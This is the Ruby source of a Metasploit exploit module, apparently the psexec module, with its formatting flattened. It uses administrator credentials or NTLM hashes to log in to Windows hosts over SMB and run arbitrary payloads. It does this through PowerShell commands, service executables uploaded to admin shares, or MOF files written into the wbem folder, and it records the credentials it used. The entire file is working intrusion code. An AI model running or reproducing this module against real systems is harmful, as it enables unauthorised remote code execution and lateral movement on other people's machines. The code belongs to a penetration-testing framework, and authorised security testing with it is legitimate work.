## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Windows XP systems that are not part of a domain default to treating all # network logons as if they were Guest. This prevents SMB relay attacks from # gaining administrative access to these systems. This setting can be found # under: # # Local Security Settings > # Local Policies > # Security Options > # Network Access: Sharing and security model for local accounts require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Authenticated User Code Execution', 'Description' => %q{ This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description. }, 'Author' => [ 'hdm', 'Royce Davis ', # (@R3dy__) PSExec command module 'RageLtMan ' # PSH exploit, libs, encoders ], 'License' => MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10, 'EXITFUNC' => 'thread' }, 'References' => [ [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) [ 'OSVDB', '3106'], [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ], [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ], [ 'URL', 'http://sourceforge.net/projects/smbexec/' ] ], 'Payload' => { 'Space' => 3072, 'DisableNops' => true }, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Automatic', { } ], [ 'PowerShell', { } ], [ 'Native upload', { } ], [ 'MOF upload', { } ] ], 'DefaultTarget' => 0, # For the CVE, PsExec was first released around February or March 2001 'DisclosureDate' => 'Jan 01 1999' )) register_options( [ OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]) ], self.class ) register_advanced_options( [ OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']) ], self.class) end def exploit print_status("Connecting to the server...") connect() print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") smb_login() if not simple.client.auth_user and not datastore['ALLOW_GUEST'] print_line(" ") print_error( "FAILED! The remote host has only provided us with Guest privileges. " + "Please make sure that the correct username and password have been provided. " + "Windows XP systems that are not part of a domain will only provide Guest privileges " + "to network logins by default." ) print_line(" ") disconnect return end if datastore['SMBUser'].to_s.strip.length > 0 report_auth end case target.name when 'Automatic' if powershell_installed? print_status('Selecting PowerShell target') powershell else print_status('Selecting native target') native_upload end when 'PowerShell' powershell when 'Native upload' native_upload when 'MOF upload' mof_upload end handler disconnect end def powershell_installed? share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}" case datastore['SHARE'].upcase when 'ADMIN$' path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe' when 'C$' path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' else path = datastore['PSH_PATH'] end simple.connect(share) vprint_status("Checking for #{path}") if smb_file_exist?(path) vprint_status('PowerShell found') psh = true else vprint_status('PowerShell not found') psh = false end simple.disconnect(share) psh end def powershell command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option") end # Execute the powershell command print_status("Executing the payload...") begin psexec(command) rescue StandardError => exec_command_error fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") end end def native_upload filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) # Upload the shellcode to a file print_status("Uploading payload...") smbshare = datastore['SHARE'] fileprefix = "" # if SHARE = Users/sasha/ or something like this if smbshare =~ /.[\\\/]/ subfolder = true smbshare = datastore['SHARE'].dup smbshare = smbshare.gsub(/^[\\\/]/,"") folder_list = smbshare.split(/[\\\/]/) smbshare = folder_list[0] fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1 simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct') else subfolder = false simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") fd = smb_open("\\#{filename}", 'rwct') end exe = '' opts = { :servicename => servicename } begin exe = generate_payload_exe_service(opts) fd << exe ensure fd.close end if subfolder print_status("Created \\#{fileprefix}\\#{filename}...") else print_status("Created \\#{filename}...") end # Disconnect from the share simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}") # define the file location if datastore['SHARE'] == 'ADMIN$' file_location = "%SYSTEMROOT%\\#{filename}" elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/ file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}" else file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" end psexec(file_location, false) unless datastore['SERVICE_PERSIST'] print_status("Deleting \\#{filename}...") #This is not really useful but will prevent double \\ on the wire :) if datastore['SHARE'] =~ /.[\\\/]/ simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") begin simple.delete("\\#{fileprefix}\\#{filename}") rescue XCEPT::ErrorCode => e print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}") end else simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") begin simple.delete("\\#{filename}") rescue XCEPT::ErrorCode => e print_error("Delete of \\#{filename} failed: #{e.message}") end end end end def mof_upload share = "\\\\#{datastore['RHOST']}\\ADMIN$" filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" # payload as exe print_status("Trying wbemexec...") print_status("Uploading Payload...") if datastore['SHARE'] != 'ADMIN$' print_error('Wbem will only work with ADMIN$ share') return end simple.connect(share) exe = generate_payload_exe fd = smb_open("\\system32\\#{filename}", 'rwct') fd << exe fd.close print_status("Created %SystemRoot%\\system32\\#{filename}") # mof to cause execution of above mofname = rand_text_alphanumeric(14) + ".MOF" mof = generate_mof(mofname, filename) print_status("Uploading MOF...") fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct') fd << mof fd.close print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}") # Disconnect from the ADMIN$ simple.disconnect(share) end def report_auth service_data = { address: ::Rex::Socket.getaddress(datastore['RHOST'],true), port: datastore['RPORT'], service_name: 'smb', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: self.fullname, private_data: datastore['SMBPass'], username: datastore['SMBUser'].downcase } if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' credential_data.merge!({ realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: datastore['SMBDomain'] }) end if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ credential_data.merge!({:private_type => :ntlm_hash}) else credential_data.merge!({:private_type => :password}) end credential_data.merge!(service_data) credential_core = create_credential(credential_data) login_data = { access_level: 'Admin', core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL } login_data.merge!(service_data) create_credential_login(login_data) end end